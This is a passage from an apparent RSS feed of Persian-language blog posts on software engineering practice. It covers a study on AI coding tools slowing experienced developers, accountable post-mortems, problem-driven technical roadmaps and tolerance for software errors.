موندن برای AI، چک کردن جوابای AI، و کلی سربار IDE نسبت به اونایی که از AI استفاده نمی‌کردن. در نهایت، وقت اضافه‌ای که با AI صرف کردن، همون وقتی رو که توی کدنویسی، تحقیق و تست صرفه‌جویی کرده بودن رو از بین برد.نکته مهم اینه که این موضوع فقط مخصوص Cursor نیست - همه ابزارهای AI همین مشکل رو دارن. Cursor فقط اتفاقاً ابزاری بوده که برای این تحقیق انتخاب شده.برنامه‌نویسا خیلی خوش‌بینانه فکر می‌کنن!از نظرسنجی‌ای که انجام دادن:&quot;هم متخصصان و هم برنامه‌نویسا به طور افراطی تأثیر مثبت AI رو روی بهره‌وری دست بالا می‌گیرن، حتی بعد اینکه ساعت‌ها باهاش کار کردن. این نشون می‌ده که چقدر مهمه آزمایش‌های درست و دقیق انجام بدیم، نه اینکه فقط به نظر متخصصا یا بازخورد توسعه‌دهنده‌ها تکیه کنیم.&quot;یه استثنا جالب: برنامه‌نویس باتجربهیه نفر از شرکت‌کنندگان که بیش از ۵۰ ساعت با Cursor کار کرده بود، نتیجه فوق‌العاده‌ای گرفت! این شخص ۳۸٪ سریع‌تر کار کرد. البته یه نفر از ۱۶ نفر نمی‌تونه معرف کل گروه باشه، ولی جالبه.نظر متخصصا چیه؟Simon Willison که مهندس نرم‌افزاره و یه متخصص بی‌طرف توی حوزه ابزارهای AI محسوب می‌شه، این تحقیق رو اینطوری تفسیر می‌کنه:&quot;احساس من اینه که این مطالعه بیشتر نشون داده منحنی یادگیری برنامه‌نویسی با کمک AI اونقدر تندی‌ش بالاست که وقتی از برنامه‌نویسا می‌خوایم این رو به کارهای روزانه‌شون اضافه کنن، عملکردشون افت می‌کنه تا یاد بگیرن چطوری ازش استفاده کنن.&quot;واقعاً هم توی پادکست Pragmatic Engineer همین رو گفته بود: &quot;باید انرژی خیلی زیادی بذاری برای یادگیری، آزمایش کردن، و فهمیدن چطوری ازش استفاده کنی. و هیچ راهنمایی هم نیست.&quot;توی تحقیقی که روی حدود ۲۰۰ تا مهندس نرم‌افزار انجام شده، همین مسئله دیده شده: اونایی که کمتر از ۶ ماه با ابزارهای AI کار کرده بودن، نظر منفی‌تری داشتن. خیلی‌ها می‌گفتن امتحان کردم، جواب نداد، ولش کردم.حرف‌های اون برنامه‌نویس باتجربهاون توسعه‌دهنده‌ای که ۳۸٪ بهتر عمل کرده، یه دانشجوی دکتری به اسم Quentin Anthony هست. اینا نظراتشه:۱. سرعت AI ربطی به مهارت برنامه‌نویسی نداره&quot;همه برنامه‌نویسای این تحقیق فوق‌العاده خوبن. فکر می‌کنم بیشتر مربوطه به اینکه آدم گیر می‌افته توی تله‌هایی که هم LLM داره هم خود آدم. ما دوست داریم بگیم LLMها ابزارن، ولی باهاشون مثل یه چیز جادویی رفتار می‌کنیم.هر برنامه‌نویسی می‌دونه چه حس خوبی داره وقتی بالاخره یه باگ سخت رو پیدا می‌کنی. LLMها مثل یه دکمه میانبر dopamine هستن که ممکنه یکدفعه مشکلت رو حل کنن. حالا بگو آدم ادامه نده به فشردن دکمه‌ای که ۱٪ شانس داره همه چی رو درست کنه؟ خیلی لذت‌بخش‌تره از کار سخت معمولی!&quot;۲. LLMها توی بعضی کارا خوبن، توی بعضیا بدن&quot;مسئله اینجاست:چه کدهایی توی dataset آموزشی LLMها زیاد بودهآزمایشگاه‌ها چطوری موفقیت رو اندازه می‌گیرنمثلاً LLMها توی کدهای سطح پایین سیستم (مثل GPU kernelها، parallelism و اینا) افتضاحن. چون این نوع کدها توی داده‌هاشون کمه و سنجیدن قابلیت‌هاشون سخته.&quot;۳. حواس‌پرتی وقت تولید کد&quot;وقتی LLM داره کد تولید می‌کنه، خیلی راحت حواست پرت می‌شه. شبکه‌های اجتماعی رحم نمی‌کنن، و فکر می‌کنم آدما ۳۰ دقیقه scroll می‌کنن تا ۳۰ ثانیه منتظر تولید کد باشن!&quot;Quentin در نهایت می‌گه:&quot;LLMها ابزارن، و ما باید یاد بگیریم محدودیت‌هاشون چیه و خودمون رو بشناسیم. یکی از دلایلی که آدما از صحبت‌های Andrej Karpathy لذت می‌برن اینه که اون خیلی خودآگاهانه از LLM استفاده می‌کنه، و این تجربه رو زودتر از بقیه پیدا کرده چون خودش توی ساختنشون نقش داشته.اگه می‌خوایم از این ابزار جدید درست استفاده کنیم، باید کاستی‌هاش (و خودمون!) رو بفهمیم و باهاشون کنار بیایم.&quot;context switching: نقطه ضعف ابزارهای AI؟یه فکری که مطرح شده اینه: آیا context switching ممکنه آشیل پای ابزارهای کدنویسی AI باشه؟ به عنوان یه برنامه‌نویس، بهترین کیفیت کار اون موقعه که کاملاً &quot;توی زون&quot; باشی - یعنی فقط روی یه مسئله متمرکز باشی بدون هیچ حواس‌پرتی. برگشتن به زون بعد از اینکه ازش در بیای خیلی سخته.ولی وقتی از ابزار AI استفاده می‌کنی، نمی‌تونی توی زون بمونی. مجبوری کار دیگه‌ای انجام بدی تا کد تولید می‌شه، و این باعث context switch اجباری می‌شه که هر بارش آدم رو کند می‌کنه.اگه قرار باشه &quot;توی زون بودن&quot; در کدنویسی یه مزیت باشه، نه یه مشکل، چی؟ اگه برنامه‌نویسای باتجربه که از AI استفاده نمی‌کنن بهتر از اونایی که با AI مجبور به context switch مکررن عمل کنن، چی؟اینجا یه نکته جالب هست: وقت صرفه‌جویی شده توی کدنویسی لزوماً به بهره‌وری بالاتر توی ساخت نرم‌افزار منجر نمی‌شه.AI اینجاست که بمونه و ما باید یاد بگیریم باهاش زندگی کنیم و کیفیت کارمون رو حفظ کنیماین تحقیق چیز مهمی رو نشون می‌ده: AI قراره تا مدت‌ها اینجا بمونه و می‌تونه طرز کار توسعه نرم‌افزار رو از بنیان تغییر بده. ولی همونطور که انتظارش رو داریم، این تغییر بزرگ منحنی یادگیری عظیمی داره.من فکر می‌کنم در درازمدت، مهندسایی که نتونن به طور موثر از AI استفاده کنن، توی بازار کار مشکل خواهند داشت. ولی همونطور که این تحقیق نشون می‌ده، فقط دستمون رو روی ابزار بذاریم کافی نیست.نکته کلیدی اینجاست: توی شرکت‌ها و تیم‌هامون باید یه فرآیند مشخص برای به اشتراک‌گذاری تجربیات و بهترین شیوه‌هایی که در هر مرحله از تطبیق با AI یاد می‌گیریم، ایجاد کنیم. چون الگوها و اصول پذیرفته شده‌ای برای استفاده از AI توی توسعه نرم‌افزار وجود نداره، مجبوریم در حین یادگیری و اصلاح روال کارمون، خودمون رو تطبیق بدیم.این تحقیق به ما یادآوری می‌کنه که راه موفقیت با AI نه صرفاً استفاده کردن ازشه، نه هم نادیده گرفتنش. بلکه یادگیری هوشمندانه و تدریجی استفاده ازشه، با درک محدودیت‌ها و فرصت‌هاش. این تحقیق و نمونه های مشابه اش، نشون می‌دن که این ابزارها واقعاً می‌تونن مفید باشن - ولی فقط وقتی که بلد باشیم چطوری ازشون استفاده کنیم.بخش زیادی از این مقاله برگرفته شده از این منبع هست:https://blog.pragmaticengineer.com/cursor-makes-developers-less-effective/مقاله تحقیقاتی اصلی:https://arxiv.org/pdf/2507.09089</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 14 Sep 2025 13:06:22 +0330</pubDate>
            </item>
                    <item>
                <title>بازنگری‌های پس از حادثه؛ یافتن تعادل بین سرزنش و عدم مسئولیت</title>
                <link>https://virgool.io/@alimfazeli/%D8%A8%D8%A7%D8%B2%D9%86%DA%AF%D8%B1%DB%8C-%D9%87%D8%A7%DB%8C-%D9%BE%D8%B3-%D8%A7%D8%B2-%D8%AD%D8%A7%D8%AF%D8%AB%D9%87-%DB%8C%D8%A7%D9%81%D8%AA%D9%86-%D8%AA%D8%B9%D8%A7%D8%AF%D9%84-%D8%A8%DB%8C%D9%86-%D8%B3%D8%B1%D8%B2%D9%86%D8%B4-%D9%88-%D8%B9%D8%AF%D9%85-%D9%85%D8%B3%D8%A6%D9%88%D9%84%DB%8C%D8%AA-bp5qco7zzcfu</link>
                <description>Post Mortemدر سال‌های اخیر، مفهوم «بازنگری بدون سرزنش (Blameless Post Mortem)»  در صنعت نرم‌افزار به یک استاندارد تبدیل شده است. این فلسفه بر این مبنا استوار است که مهندسان بتوانند بدون نگرانی از مجازات، به شرح دقیق دلایل یک خطا یا حادثه بپردازند تا از تکرار آن جلوگیری شود. اما آیا این روش همیشه بهترین راه است؟ بیایید نگاهی عمیق‌تر به مزایا و محدودیت‌های این نگاه بیندازیم.تاریخچه بازنگری بدون سرزنشبحث درباره بازنگری‌های بدون سرزنش ابتدا در حوزه‌هایی مانند هوانوردی و مراقبت‌های بهداشتی شکل گرفت. خصوصیات این حوزه‌ها که چنین رویکردی را ضروری کرد شامل موارد زیر است:شدت: حوادث بسیار جدی، مانند سقوط هواپیما یا مرگ در اتاق عمل رخ می‌داد.فراوانی: این حوادث به ندرت اتفاق می‌افتادند و افراد به ندرت درگیر بازنگری پس از حادثه می‌شدند.مجازات: پیامدهای خطاها بسیار سنگین بود، مانند اتهامات کیفری که نیاز به اطمینان دادن به افراد برای عدم ترس از مجازات داشت.احتمال تکرار: به دلیل شدت حادثه، لازم بود تمام تلاش‌ها برای جلوگیری از تکرار آن صورت گیرد.پیگیری: نهادهای رسمی پس از حادثه قوانین یا مقررات جدیدی وضع می‌کردند.به عنوان مثال، سقوط یک هواپیما در یک فرودگاه ممکن است یکبار در چندین دهه رخ دهد، اما باید اطمینان حاصل کرد که فرد مسئول بدون ترس از سرزنش، تمام اطلاعات لازم را ارائه می‌دهد.بازنگری بدون سرزنش در صنعت نرم‌افزاراین مدل در صنعت نرم‌افزار با ویژگی‌های متفاوتی اجرا می‌شود که شامل موارد زیر است:شدت: اغلب خطاهای نرم‌افزاری شدت کمتری دارند، مثلاً قطع شدن یک API یا یک سرویس به مدت چند دقیقه.فراوانی: حوادث نرم‌افزاری معمولاً به شکل مکرر و حتی هفتگی اتفاق می‌افتند.مجازات: پیامدهای خطاها اغلب محدود به ارزیابی عملکرد و تغییر شغل است؛ زندان یا اتهامات کیفری وجود ندارد.احتمال تکرار: از تکرار خطاها باید پیشگیری شود، ولی در سطح پایین تری پیگیری صورت می‌گیرد.پیگیری: اغلب، تیم‌ها پیگیری‌ها را بر عهده دارند و ممکن است فراموش شود یا در اولویت پایین قرار گیرد.مقایسه نرم‌افزار با هوانوردی و بهداشتدر نتیجه، بازنگری‌های پس از حادثه در نرم‌افزار، شدت کمتری دارند اما بسیار رایج‌تر هستند. در واقع، این بازنگری‌ها بخش جدایی‌ناپذیر فرهنگ یادگیری و مسئولیت‌پذیری در نرم‌افزار شده‌اند. اما این نکته نیز وجود دارد که باید بین فرهنگ بدون سرزنش و بی‌مسئولیتی تفاوت قائل شد. در صورت عدم ایجاد این تفاوت:فرصت‌های یادگیری از بین می‌رود زیرا به افراد گفته نمی‌شود دقیقاً چه کسی مسئول بوده و چه رفتاری باید تغییر کند.با بی‌مسئولیتی، کیفیت کار کاهش می‌یابد و به جای بهبود، وضع موجود تثبیت می‌شود.احساس ناعدالتی در افراد و تیم ها که سطح متفاوتی از استاندارد را ارائه می‌کنند بوجود می‌آید.در مجموع، معمولاً شدت میانگین حوادث نرم‌افزاری آنقدر پایین است که عدم تعیین مسئولیت عواقب منفی بیشتری دارد.راهکار میانه: بازنگری‌های همراه با مسئولیتبهترین روش، راه میانه‌ای است که هم یادگیری و هم مسئولیت را با هم داشته باشد. ویژگی‌های این بازنگری‌ها عبارتند از:یک نفر یا یک تیم &quot;مسئول&quot; استهر مشکل یا خطا باید به یک فرد یا تیم مشخص نسبت داده شود. این مسئولیت می‌تواند مربوط به:شغل فرد یا تیمی که به درستی وظایفشان را انجام نداده‌اند.نبود وضوح در ساختار تقسیم مسئولیت‌ها و وظایف که باید توسط مدیریت اصلاح شود.اگر مسئولیت میان چندین واحد تقسیم شود، معنایش این است که مسئولیت مشخصی وجود ندارد و مسئله حل نمی‌شود. حتی در مواردی همچون:ضعف سرویس‌دهنده بیرونی : انتخاب و مدیریت آن بر عهده شما بوده و در صورت امکان باید نتایجش را مدیریت کنید.پروژه‌های به ارث رسیده: اگرچه ممکن است خطا خیلی از شما ناشی نشده باشد، اما باز هم در نهایت مسئول آن هستید و باید برای بهبود اوضاع اقدام کنید.مسئولیت‌پذیری عادلانه استفرهنگ‌های بدون سرزنش اغلب اشتباه برداشت می‌شوند که یعنی هیچ جریمه‌ای وجود ندارد. اما در واقع مسئولیت باید به شکلی منصفانه اعمال شود:اگر واقعاً پیشگیری از خطا برای شما غیرممکن بوده، ممکن است مسئول شناخته شوید اما مجازاتی در کار نباشد؛ هدف یادگیری برای دفعات بعدی است.اگر اشتباه یا سهل انگاری جدی رخ داده، ممکن است عواقبی نظیر قطع همکاری یا اخراج نیز در پی داشته باشد.اکثراً وضعیت‌ها بین این دو حالت قرار دارند؛ واکنش‌ها باید منطقی و متناسب باشند.ایجاد انگیزه‌های درسترویکردهای معمول به انگیزه‌ها اغلب با سوتفاهم همراه است، مثلاً تمرکز صرف روی قوانین یا امتیازدهی که باعث پنهانکاری می‌شود. یک انگیزه اصلی برای همه کارکنان وجود دارد:«با صداقت و سلامت عمل کن یا عواقبش را بپذیر.»بنابراین در بازنگری‌ها باید به تیم گفته شود:همیشه فرد یا تیم مسئول وجود دارد و باید بین کلمات مسئول و مقصر تفاوت قائل شد.مسئول شناخته شدن به معنی درگیری و بحران نیست و بیشتر اوقات با نگاه به اصلاح ایرادات همراه می‌شود.اگر فردی قصد پنهان‌کاری یا سوءاستفاده از سیستم را داشته باشد با عواقب روبرو خواهد شد.پایانبازنگری‌های پس از حادثه در نرم‌افزار نمی‌توانند و نباید کاملاً مشابه حوزه‌های حساس مانند هوانوردی یا مراقبت‌های پزشکی باشند. استمرار در انجام این بازنگری‌ها و تمرکز بر جلوگیری از تکرار بسیار ارزشمند است. اما عدم وجود مسئولیت‌پذیری و ترس از چالش به تدریج کیفیت و پیشرفت را تضعیف می‌کند.رهبران فنی نقش کلیدی در اجرای این تعادل دارند؛ سرزنش‌‌گری‌های نامناسب و بی‌جهت می‌تواند به فرهنگ سمی منجر شود در حالی که غفلت از مسئولیت‌پذیری، باعث رکود و درجازدن می‌شود. با ایجاد فرهنگ متعادل و عادلانه، همزمان یادگیری تسهیل می‌شود و کیفیت محصولات و خدمات به شکل مداوم افزایش می‌یابد و حس عدالت در تیم جاری می‌شود.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Wed, 21 May 2025 12:05:05 +0330</pubDate>
            </item>
                    <item>
                <title>توسعه مبتنی بر مشکل: راهکاری ساده برای ترسیم نقشه راه فنی</title>
                <link>https://virgool.io/@alimfazeli/%D8%AA%D9%88%D8%B3%D8%B9%D9%87-%D9%85%D8%A8%D8%AA%D9%86%DB%8C-%D8%A8%D8%B1-%D9%85%D8%B4%DA%A9%D9%84-%D8%B1%D8%A7%D9%87%DA%A9%D8%A7%D8%B1%DB%8C-%D8%B3%D8%A7%D8%AF%D9%87-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%AA%D8%B1%D8%B3%DB%8C%D9%85-%D9%86%D9%82%D8%B4%D9%87-%D8%B1%D8%A7%D9%87-%D9%81%D9%86%DB%8C-rdqueglk2v5q</link>
                <description>یکی از چالش‌های بزرگ در نقش‌های ارشد فنی، تعیین مسیر و اهداف فنی تیم است. مهندسان ارشد و مدیران مهندسی اغلب در تنظیم نقشه راه فنی دچار سردرگمی می‌شوند؛ زیرا آموزش محدودی در این زمینه وجود دارد، رقابت با مدیران محصول آموزش‌دیده مشکل است و برخی سازمان‌ها مسئولیت تعیین اولویت‌ها را به‌طور کامل به مدیر محصول محول می‌کنند. اما حقیقت این است که داشتن چشم‌انداز فنی قوی لزوماً یک استعداد ذاتی نیست، بلکه حاصل بررسی ساده و مداوم مشکلات واقعی است.چالش‌های متداول در تدوین نقشه راه فنیاکثر مدیران مهندسی و مهندسان ارشد در نخستین تلاش‌های خود برای تدوین نقشه راه، تیم را به پرسش از ایده‌ها و راهکارهای پیشنهادی دعوت می‌کنند. این رویکرد معمولاً به نتایجی ناکارآمد ختم می‌شود به دلایل زیر:نبود فرصت کافی برای فکر کردن منجر به پاسخ‌های سطحی می‌شود.افراد بیش از حد به نظرات افراد صاحب‌ منصب تکیه می‌کنند، حتی وقتی آن نظر بر اساس درک عمیق نباشد.تمرکز بر راهکارها به جای شناخت مشکلات واقعی است.در نتیجه فهرستی مانند موارد زیر شکل می‌گیرد:ارتقاء نسخه کتابخانه به نسخه جدیدتربازسازی کلاس X برای بهبود ساختار و تمیزی کدآزمایش ابزار جدید SaaSاما غالباً دلیل اصلی انجام این راهکارها که حل یک مشکل مشخص است، فراموش می‌شود و بعد از چند چرخه کاری، بحث‌ها حول راهکارها بدون یادآوری مشکل اولیه ادامه می‌یابد.نقطه ضعف بزرگ این روش، ناتوانی در شناسایی و اولویت‌بندی مشکلات اصلی است. وقتی فقط راه‌حل‌ها را اولویت‌بندی می‌کنید، اجرای آن‌ها ممکن است بدون رفع مشکلات اساسی صورت گیرد. اما با اولویت دادن به مشکلات واقعی، مجبورید به اصلاح مسائل بنیادین بپردازید؛ کاری که نمی‌توان بی‌پایان به تأخیر انداخت. هر اقدامی باید به حل یک مشکل خاص ختم شود. تیم را حول بزرگ‌ترین مشکلات هماهنگ کنید و نقشه راه فنی خود را بر اساس حل آن‌ها ترسیم نمایید. بازبینی دوره‌ای فهرست مشکلات برای حفظ اعتبار آن ضروری است.توسعه مبتنی بر مشکل: شناسایی مشکلات واقعیبرای حل مشکلات، اول باید بدانید مشکلات در کجا وجود دارند. در اکثر تیم‌های نرم‌افزاری مشکلات در این حوزه‌ها قابل ردیابی است:هشدارهای سیستم مانیتورینگنقض اهداف سطح سرویس (SLO)اتلاف وقت در پروژه‌ها یا تسک‌هاکندی در فرایندهای توسعه مانند (CD/CI)هزینه‌هاشکست‌های ناشی از انتشار (Deployment Failure)این منبع‌های شکست قابل بررسی و قابل اندازه‌گیری هستند و می‌توان بر اساس آن‌ها فهرستی از مشکلات اولویت‌بندی شده را ساخت؛ مثلاً:تعداد زیادی هشدار دریافت می‌کنیم که ۸۰٪ آن‌ها مربوط به سرویس WizBang است؛ باید آن را به صفر برسانیم.۱۲٪ از وقت ما صرف کارهای دستی می‌شود که قابل کاهش ۵۰٪ با یک ماه کار هست.اهداف سطح سرویس (SLO) در وضعیت قابل قبول هستند؛ نیازی به کار نیست.سپس می‌توانید راه‌حل‌هایی برای حل این مشکلات طراحی کنید. گرچه ساده به نظر می‌رسد، اما روشی قدرتمند برای تعیین مسیر فعالیت‌هاست.توسعه مبتنی بر مشکل: مواجهه با بدهی فنیاولویت‌بندی بدهی فنی در صنعت بسیار پیچیده و بحث‌برانگیز است. بخشی از مشکل این است که مهندسان اغلب در بیان دلایل اهمیت بدهی فنی ضعیف عمل می‌کنند و مدیران محصول نیز برای رقابت با کارهای محصول به اجرای تحقیقات مفصل اولویت‌سازی نیاز دارند که منصفانه نیست. در نتیجه تیم‌ها معمولا به توافقات درصدی برای اختصاص زمان به بدهی فنی تن می‌دهند تا از دعوا پرهیز کنند.مهندسان باید بهتر به دلایل منطقی بدهی فنی توجه کنند، به‌عنوان مثال:مشکل در یک کلاس: چه مشکلاتی ایجاد می‌کند؟سختی کدنویسی: به‌خاطر ساختار نامناسب این کلاس چقدر است؟میزان اتلاف وقت: چقدر است؟تناوب تغییر: آیا این قسمت هر چند وقت یکبار تغییر می‌کند؟هزینه-فایده: آیا بازسازی این کد ارزش صرف یک ماه زمان را دارد؟اولویت نسبی: ممکن است بخشی دیگر از کد با همان مشکل، اما با تغییرات بیشتر و نرخ شکست بالاتر وجود داشته باشد که رفع آن اولویت داشته باشد.در نهایت با چارچوب‌بندی مسائل به‌صورت مشکلات واقعی، می‌توان درباره اولویت‌ها تصمیم‌گیری معقولی داشت.در حالت ایده‌آل، بدهی فنی باید در حین انجام کارهای دیگر در آن بخش کد برطرف شود، اما اگر قصد دارید زمان مستقلی برای آن اختصاص دهید، حداقل داده‌های کمی برای پشتیبانی ادعای خود داشته باشید. گاهی اوقات باور قوی به رفع یک بدهی فنی تنها پس از تحقیقات و تحلیل این داده‌ها اثبات می‌شود.خلاصهتوسعه مبتنی بر مشکل، رویکردی ساده و بدیهی است که متأسفانه بسیاری از مهندسان و مدیران مهندسی از آن فاصله گرفته‌اند . این روش به تیم های توسعه کمک می‌کند هنگام تدوین نقشه راه فنی، مشکلات واقعی تیم را شناسایی کرده، بر بزرگ‌ترین آن‌ها تمرکز کنید و برنامه‌ای برای حلشان ایجاد نمایید. بعلاوه، این رویکرد قابلیتی را فراهم می‌آورد تا به‌راحتی راه‌حل‌های غیرفرضی را رد کنید و تیم خود را بر اساس چرایی کارها متحد نگاه دارید.پیشنهاداتی برای اقدام:اگر در موضع تعیین نقشه راه هستید، مشکلات را شناسایی، بزرگ‌ترین آن‌ها را اولویت‌بندی و برنامه‌ریزی برای حل آن‌ها را انجام دهید.اگر مهندس جوانی هستید که می‌خواهید قدرت تأثیرگذاری و دید فنی خود را افزایش دهید، به دنبال مکان‌هایی باشید که مشکلات تیم در آن‌ها نمود پیدا می‌کند، نه فقط به یکی از کلاس‌های کد تمرکز کنید.اگر مدیر مهندسی هستید، مشکلات تیم را به طور شفاف بیان و آموزش دهید تا اعضا دید جامع‌تری از مسائل داشته باشند و از فعالیت صرفاً اجرایی فاصله بگیرند.همیشه دلیل انجام کارها را به تیم خود یادآوری کنید، چرا که از دست دادن تمرکز بر روی مشکل، به معنای از دست رفتن راه‌حل خواهد بود.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Mon, 12 May 2025 13:12:49 +0330</pubDate>
            </item>
                    <item>
                <title>نرم افزار جایز الخطاست؟</title>
                <link>https://virgool.io/@alimfazeli/%D9%86%D8%B1%D9%85-%D8%A7%D9%81%D8%B2%D8%A7%D8%B1-%D8%AC%D8%A7%DB%8C%D8%B2-%D8%A7%D9%84%D8%AE%D8%B7%D8%A7%D8%B3%D8%AA-krnt3z63nnlk</link>
                <description>توی سال های اخیر چیزی که توی کار توجهم رو جلب کرده میزان پذیرش خطا و اشکال در نرم افزار های تولید شده‌ست که از تیم به تیم و شرکت به شرکت متفاوت بوده.«آستانه تحمل مشکل» در نرم افزار یکی از فاکتور های مهمیه که می‌تونه روی کیفیت خروجی های یک تیم تاثیر زیادی داشته باشه. من توی سال های ابتدایی کاریم مثل خیلی از همکار های دیگه‌م وقتی مشکلی برای نرم افزار پیش می‌اومد حالت حق به جانبی داشتم و میگفتم «خب نرم افزاره دیگه مشکل پیدا می‌کنه! صبر کنید درستش می‌کنیم.» و به مرور این تبدیل به فرهنگ خیلی از سازمان ها می‌شد و هنوز هم اتفاق می‌افته.خب این جمله که «نرم افزاره دیگه مشکل پیدا می‌کنه» به طور کلی اشتباه نیست و ماهیت سیستم های پیچیده نرم افزاری طوریه که احتمال اتفاق های غیرقابل پیش بینی توش وجود داره و حتما حد مناسبی از «آستانه تحمل مشکل» برای جلو رفتن کارها در سازمان های بر پایه تکنولوژي لازمه اما ما برنامه نویس ها و مهندس های نرم افزار هم باید در این مورد آستانه پذیرش خاصی که مناسب باشه پیدا کنیم این فرض که هر مشکلی روی محیط پروداکشن نرم افزار ما باید قابل پذیرش و تحمل از طرف بیزنس و مصرف کننده های اون باشه می‌تونه کیفیت کار ما رو به طور جدی تحت تاثیر قرار بده.برای درکش حس خودتون رو وقتی برای ۱۰ امین بار به سازمان دولتی مراجعه می‌کنید و می‌گن «سیستم قطعه» تصور کنید! پس هر حدی از مشکل نمی‌تونه قابل پذیرش باشه.آستانه بهینهبه نظر من، حتما حد  یا بازه بهینه ای از پذیرش خطا و اشکال باید وجود داشته باشه که این باید از طرف تیم مهندسی نرم افزار و همینطور کسایی که کسب و کار یا عملکرد روزمره شون وابسته به اون نرم افزار هست پذیرفته بشه.این آستانه هم تعریف یکسان و مشخصی نداره و قطعا بسته به کاربرد و اهمیت نرم افزار ها، میزان گستردگی استفاده از اون ها و … باید متفاوت تعریف بشه. مثلا توقع نداریم که آستانه پذیرش اشکال برای سیستم هدایت فضاپیما و فروشگاه آنلاین با ۱۰ سفارش روزانه یکسان باشه و این اساسا یکی از فاکتور هایی هست که باعث می‌شه سازمان های بزرگ با آستانه پذیرش خطای خیلی پایین با هزینه های زیاد تلاش کنن که بهترین مهندس های نرم‌افزار رو جذب خودشون کنن.چه به عنوان مسئول، مدیر یا مالک کسب و کار و چه به عنوان مهندس نرم افزار حد بهینه پذیرش خودتون رو پیدا و برای رسیدن بهش تلاش کنین .به عنوان مهندس یا معمار نرم افزار ها، ریسک های بیزنس رو شناسایی کنین و برای بالا بردن کیفیت نرم‌افزار تا رسیدن به آستانه تحمل مورد نظر تلاش کنین.حالا چی؟فرض کنیم که ما به عنوان مهندس یا معمار نرم افزار پذیرفتیم که این ادعا که نرم افزار جایز الخطاست  به طور کامل قابل پذیرش نیست و ضمن درک ماهیت پیچیده ساختاری نرم افزار ها که می‌تونه باعث بشه که مشکلات مختلف براشون ایجاد شه میخوایم سطح مشکلات رو پایین تر بیاریم تا هم کیفیت کار خودمون رو بالا ببریم و هم ریسک های بیزنس رو کمتر کنیم.بدهی های فنیدر مورد بدهی های فنی با تیم های محصول و کسب و کار صادق باشید، هر چیزی که بین نرم افزار تولید شده و نرم افزار عالی و بی عیب و نقص فاصله بندازه می‌تونه به عنوان بدهی فنی شناسایی بشه. وظیفه آدم های باتجربه دنیای نرم افزار اینه که این بدهی ها رو شناسایی کنن و البته بتونن تشخیص بدن که کدوم اون ها اهمیت بالایی داره و ریسک واقعی ایجاد می‌کنه و برای حل اون ها اقدام بکنند.همیشه بخشی از بودجه زمانی تیم توسعه نرم افزار باید صرف بدهی های فنی بشه اما نباید به سمت نرم افزار بی عیب و نقص هم حرکت کرد.تلاش کنید بین بدهی های فنی تفاوت قائل بشید و از دید بیزنس و ریسک مشکلات جدی به اون ها نگاه کنید و وسواس معنایی به خرج ندید.طراحی و معماریمن کلمه طراحی رو توی دنیای نرم افزار بهتر از معماری می‌دونم، کلمه معماری از صنعت ساختمان گرفته شده و تصور کنید اگه معمار های بزرگ مثل ما نرم افزاری ها فکر میکردند تا حالا چن تا برج و پل ممکن ریخته بود روی سر مون!اما جدا از شوخی همیشه برای طراحی ساختار نرم افزار ها وقت بزارین و قبل از دست به کد شدن یه کمی بررسی کنید که ارتباط بخش های مختلف با هم دیگه می‌تونه بهتر طراحی بشه یا نه و یادتون باشه که ما نرم افزار بدون طراحی نداریم! یا طراحی درست و خوب انجام می‌شه و یا طراحی بد و تصادفی.چرخه تولیدفرایند تبدیل شدن یه ایده یا نیازمندی به نرم افزار رو می‌شه چرخه تولید دونست. اگه فقط بخش فنی کار رو در نظر بگیریم لازمه که حداقل چند اتفاق تا تولید نسخه پروداکشن بیافته که خلاصه ترینش از دید من این هاست:تحلیل و طراحیپیاده سازیبازبینی (review)تست (اتوماتیک یا دستی)انتشار (publish)توی هرکدوم از این مراحل ، باید زمان کافی گذاشته بشه تا به نتیجه قابل قبول برسیم. اولویت خیلی خیلی خیلی بالایی برای اتوماتیک بودن تست ها در نظر بگیرید و حتی برای بازبینی هم تا جای ممکن از سرویس های اتوماتیک استفاده کنین.این چرخه خیلی ساده سازی شده است اما مهم اینه که برای خودتون و سازمان تون چرخه تولید تعریف کنید و با گذر زمان اون رو بهینه تر و بهتر کنید.کالبد شکافیوقتی مشکل بزرگی برای نرم افزار ایجاد می‌شه یا از دسترس خارج می‌شه فقط و فقط برای اعضا یک چیز اهمیت داره و اون هم برگردوندن سیستم به حالت فعال و رفع مشکله. اما نباید تو این مرحله متوقف شیم و باید با پیگیری بیشتر و عمیق تر مشکل رو درک کنیم و برای دنبال راه حل بگردیم. به این کار به اصطلاح کالبد شکافی یا آزمایش پس از مرگ (Post Mortem) گفته می‌شه. در مورد کالبد شکافی می‌شه جداگانه مقاله بلندی نوشت و راجع بهش خیلی حرف زد اما این‌جا فقط نکته های مهمی که لازمه بهش توجه بشه تا این کار تو مسیر درست انجام بشه رو می‌نویسم:دنبال فرد مقصر نگردیددلیل ریشه ای مشکل رو پیدا کنیدچه اقدام یا اقداماتی می‌تونید انجام بدید که مشکل مجدد اتفاق نیافته؟ایجاد فرایند تست یا پابلیش جدیداضافه کردن تست جدیدایجاد بکآپ برای داده یا سرویساضافه کردن گزارش monitoring جدید…تولید داکیومنت برای اشتراک گذاری اطلاعات بین اعضای تیم و سازمان (خصوصا در تیم های بزرگ)برای اجرای اقدام های مشخص شده زمان و اولویت تعیین کنیداین ها بخشی از کارهایی بود که می‌تونیم برای پیشرفت خودمون به عنوان مهندس نرم‌افزار و همینطور بالاتر بردن کیفیت کار تولید شده مون انجام بدیم.اما مهم ترین نکته اینه که یادمون باشه نرم افزار جایز الخطاست، اما نه هر خطایی! اگر توی تیم یا سازمانی کار می‌کنید که هرروز نرم افزار تون به اصطلاح down می‌شه و مشکلات عجیب و غریب و گاهی تکراری براش پیش میاد و کلی از وقت و تمرکزتون صرف رفع کردن شون می‌شه خودتون رو گول نزنید و سعی کنین با انتخاب روش های بهتر و به کار بردن نکته هایی از جنس نکته های بالا، کنترل اوضاع رو دوباره به دست بگیرید.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Tue, 12 Jul 2022 11:05:07 +0430</pubDate>
            </item>
                    <item>
                <title>معماری میکروسرویس و انتقال به آن</title>
